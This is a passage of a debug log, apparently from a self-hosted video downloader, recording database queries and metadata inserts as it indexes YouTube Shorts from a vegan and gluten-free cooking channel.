OK source="media_items" db=2.3ms queue=0.2ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-02 23:29:33Z], 1] 20:30:46.561 [debug] QUERY OK source="media_items" db=0.8ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everyone deserves to have a cheat day once per week, why not try these 4 grilled cheese sandwiches? Even better, you can make them vegan and gluten free to satisfy all your cravings and allergen needs. \n\nOn our channel 'Steamy Vegan Kitchen' we believe food should be fun, delicious, healthy and shared with the ones you love. Subscribe and enjoy some of our food adventures and recipes as we enjoy sharing our love for gluten free and vegan cooking.\n\nFull Video: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts", "202da638-0236-4cb2-a472-5ec4795b0a71", 1, [], 57, false, "0XV53k7Vv4Q", "https://www.youtube.com/shorts/0XV53k7Vv4Q", 475, "/downloads/downloads/alec/Steamy Vegan/2022-05-02 Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts/Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts [0XV53k7Vv4Q].NA", false, false, true, 0, ~U[2022-05-02 23:29:33Z], ~U[2026-03-22 03:30:46Z], ~U[2026-03-22 03:30:46Z], "Everyone deserves to have a cheat day once per week, why not try these 4 grilled cheese sandwiches? Even better, you can make them vegan and gluten free to satisfy all your cravings and allergen needs. \n\nOn our channel 'Steamy Vegan Kitchen' we believe food should be fun, delicious, healthy and shared with the ones you love. Subscribe and enjoy some of our food adventures and recipes as we enjoy sharing our love for gluten free and vegan cooking.\n\nFull Video: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts", 1, 57, false, "0XV53k7Vv4Q", "https://www.youtube.com/shorts/0XV53k7Vv4Q", "/downloads/downloads/alec/Steamy Vegan/2022-05-02 Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts/Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts [0XV53k7Vv4Q].NA", true, ~U[2022-05-02 23:29:33Z]] 20:30:46.561 [debug] QUERY OK source="sources" db=0.6ms idle=853.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:46.562 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:46.563 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [864] 20:30:46.563 [debug] Current batch of media processed. Will check again in 1000ms 20:30:47.564 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Nothing beats donuts, and gluten free vegan ones make you feel even better about yourself. Yes, they're definitely still great vegan gluten free donuts a day later.\n\nCheck out the full vlog food adventure here (featuring 7 epic vegan gluten free donuts): https://youtu.be/nu4z1cbo8QQ\n\nWebsite: SteamyVeganKitchen.com", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-30 CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old/CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old [yV9j5iQ60ic].NA", "id" => "yV9j5iQ60ic", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yV9j5iQ60ic", "playlist_index" => 476, "timestamp" => 1651336549, "title" => "CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old", "upload_date" => "20220430"} 20:30:47.565 [debug] QUERY OK source="sources" db=0.4ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:47.566 [debug] QUERY OK source="sources" db=0.6ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:47.568 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-30 16:35:49Z], 1] 20:30:47.569 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Nothing beats donuts, and gluten free vegan ones make you feel even better about yourself. Yes, they're definitely still great vegan gluten free donuts a day later.\n\nCheck out the full vlog food adventure here (featuring 7 epic vegan gluten free donuts): https://youtu.be/nu4z1cbo8QQ\n\nWebsite: SteamyVeganKitchen.com", "CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old", "1f6b0996-a9b3-43b4-a24f-12a6947cb9ab", 1, [], 10, false, "yV9j5iQ60ic", "https://www.youtube.com/shorts/yV9j5iQ60ic", 476, "/downloads/downloads/alec/Steamy Vegan/2022-04-30 CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old/CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old [yV9j5iQ60ic].NA", false, false, true, 1, ~U[2022-04-30 16:35:49Z], ~U[2026-03-22 03:30:47Z], ~U[2026-03-22 03:30:47Z], "Nothing beats donuts, and gluten free vegan ones make you feel even better about yourself. Yes, they're definitely still great vegan gluten free donuts a day later.\n\nCheck out the full vlog food adventure here (featuring 7 epic vegan gluten free donuts): https://youtu.be/nu4z1cbo8QQ\n\nWebsite: SteamyVeganKitchen.com", "CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old", 1, 10, false, "yV9j5iQ60ic", "https://www.youtube.com/shorts/yV9j5iQ60ic", "/downloads/downloads/alec/Steamy Vegan/2022-04-30 CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old/CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old [yV9j5iQ60ic].NA", true, ~U[2022-04-30 16:35:49Z]] 20:30:47.570 [debug] QUERY OK source="sources" db=0.5ms idle=860.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:47.570 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:47.571 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [865] 20:30:47.571 [debug] Current batch of media processed. Will check again in 1000ms 20:30:48.572 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "After seeing some of the ways Amber Heard and Johnny Depp have abused one another, in their defamation lawsuit, I'm reminded of how I abuse my husband. Here's a video showing everyone acceptable versus unacceptable ways to abuse their husbands (take notes Johnny Depp and Amber Heard)\n\nSubscribe and stay tuned for more shorts and long form videos about vegan and gluten free cooking.\n\nWebsite: SteamyVeganKitchen.com", "duration" => 29, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-29 Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts/Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts [ZC6tNvvrBkk].NA", "id" => "ZC6tNvvrBkk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ZC6tNvvrBkk", "playlist_index" => 477, "timestamp" => 1651244840, "title" => "Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts", "upload_date" => "20220429"} 20:30:48.573 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:48.574 [debug] QUERY OK source="sources" db=0.5ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:48.577 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-29 15:07:20Z], 1] 20:30:48.578 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["After seeing some of the ways Amber Heard and Johnny Depp have abused one another, in their defamation lawsuit, I'm reminded of how I abuse my husband. Here's a video showing everyone acceptable versus unacceptable ways to abuse their husbands (take notes Johnny Depp and Amber Heard)\n\nSubscribe and stay tuned for more shorts and long form videos about vegan and gluten free cooking.\n\nWebsite: SteamyVeganKitchen.com", "Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts", "afc5dad3-f5fa-4d37-b53b-0652aa1c9cbc", 1, [], 29, false, "ZC6tNvvrBkk", "https://www.youtube.com/shorts/ZC6tNvvrBkk", 477, "/downloads/downloads/alec/Steamy Vegan/2022-04-29 Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts/Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts [ZC6tNvvrBkk].NA", false, false, true, 0, ~U[2022-04-29 15:07:20Z], ~U[2026-03-22 03:30:48Z], ~U[2026-03-22 03:30:48Z], "After seeing some of the ways Amber Heard and Johnny Depp have abused one another, in their defamation lawsuit, I'm reminded of how I abuse my husband. Here's a video showing everyone acceptable versus unacceptable ways to abuse their husbands (take notes Johnny Depp and Amber Heard)\n\nSubscribe and stay tuned for more shorts and long form videos about vegan and gluten free cooking.\n\nWebsite: SteamyVeganKitchen.com", "Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts", 1, 29, false, "ZC6tNvvrBkk", "https://www.youtube.com/shorts/ZC6tNvvrBkk", "/downloads/downloads/alec/Steamy Vegan/2022-04-29 Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts/Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts [ZC6tNvvrBkk].NA", true, ~U[2022-04-29 15:07:20Z]] 20:30:48.579 [debug] QUERY OK source="sources" db=0.4ms idle=867.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:48.579 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:48.580 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [866] 20:30:48.580 [debug] Current batch of media processed. Will check again in 1000ms 20:30:49.581 [debug] Current batch of media processed. Will check again in 1000ms 20:30:50.582 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "An epic episode filled with comedy, trash talking, and vegan grilled cheese like you've never seen it done before. If you like grilled cheese, wrestling quotes, and Jonah Hill or Channing Tatum then you'll want to subscribe to the channel and check out the full video.\n\nWebsite: steamyvegankitchen.com", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-28 Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts/Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts [VX4WHH1PqTQ].NA", "id" => "VX4WHH1PqTQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/VX4WHH1PqTQ", "playlist_index" => 478, "timestamp" => 1651181192, "title" => "Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts", "upload_date" => "20220428"} 20:30:50.583 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=993.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:50.584 [debug] QUERY OK source="sources" db=0.6ms idle=994.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:50.587 [debug] QUERY OK source="media_items" db=2.3ms idle=995.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-28 21:26:32Z], 1] 20:30:50.589 [debug] QUERY OK source="media_items" db=1.6ms idle=998.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["An epic episode filled with comedy, trash talking, and vegan grilled cheese like you've never seen it done before. If you like grilled cheese, wrestling quotes, and Jonah Hill or Channing Tatum then you'll want to subscribe to the channel and check out the full video.\n\nWebsite: steamyvegankitchen.com", "Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts", "0979e6eb-153a-4032-abf0-e724e555e642", 1, [], 15, false, "VX4WHH1PqTQ", "https://www.youtube.com/shorts/VX4WHH1PqTQ", 478, "/downloads/downloads/alec/Steamy Vegan/2022-04-28 Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts/Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts [VX4WHH1PqTQ].NA", false, false, true, 0, ~U[2022-04-28 21:26:32Z], ~U[2026-03-22 03:30:50Z], ~U[2026-03-22 03:30:50Z], "An epic episode filled with comedy, trash talking, and vegan grilled cheese like you've never seen it done before. If you like grilled cheese, wrestling quotes, and Jonah Hill or Channing Tatum then you'll want to subscribe to the channel and check out the full video.\n\nWebsite: steamyvegankitchen.com", "Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts", 1, 15, false, "VX4WHH1PqTQ", "https://www.youtube.com/shorts/VX4WHH1PqTQ", "/downloads/downloads/alec/Steamy Vegan/2022-04-28 Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts/Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts [VX4WHH1PqTQ].NA", true, ~U[2022-04-28 21:26:32Z]] 20:30:50.590 [debug] QUERY OK source="sources" db=0.5ms idle=874.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:50.590 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:50.591 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [867] 20:30:50.591 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "How to wash + prep [rescued] baby bok choy 🥬 feat. @pekoproduce !\n\nRegular and baby bok choy can be pretty dirty - so here’s the easiest way to wash and prep them so you can get straight to munching 😁\n\nSlice off the bottom inch - place the leafy greens in a colander - rinse in cold water thoroughly to wash off any dirt - dry in a salad spinner/towel - READY TO USE! 🤩\n\nI steamed them with just a pinch of salt and pepper - simply delicious! 😍 Who else got some of this good green stuff in their #pekoproduce box this week? 🥬🥬🥬\n\nPS: Peko Produce is Vancouver’s 🇨🇦 first imperfect produce delivery service that saves thousands of pounds of perfectly edible/surplus produce from going to our #landfills. They are helping to battle Canada’s #foodwaste crises and have made it SO easy for you too, as well! For only $25 per mystery box of ‘peculiar’ produce you can help Peko, our farmers and Mother Earth 🌍 $5 OFF LINK IN @steamyvegankitchen BIO! \n\n#steamyvegankitchen #steamyvegan #foodwastewarriors #climatecrises #foodprepping #foodprepideas #mealprepideas #vancityvegans #vancityfoodies #vancouvervegans #vancouverveganfoodie\n\nMusic by frumhere - designer sadness. - https://thmatc.co/?l=795A6766", "duration" => 20, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-28 WASH YOUR BOK CHOY! 🥬/WASH YOUR BOK CHOY! 🥬 [YOLHBhFacXs].NA", "id" => "YOLHBhFacXs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/YOLHBhFacXs", "playlist_index" => 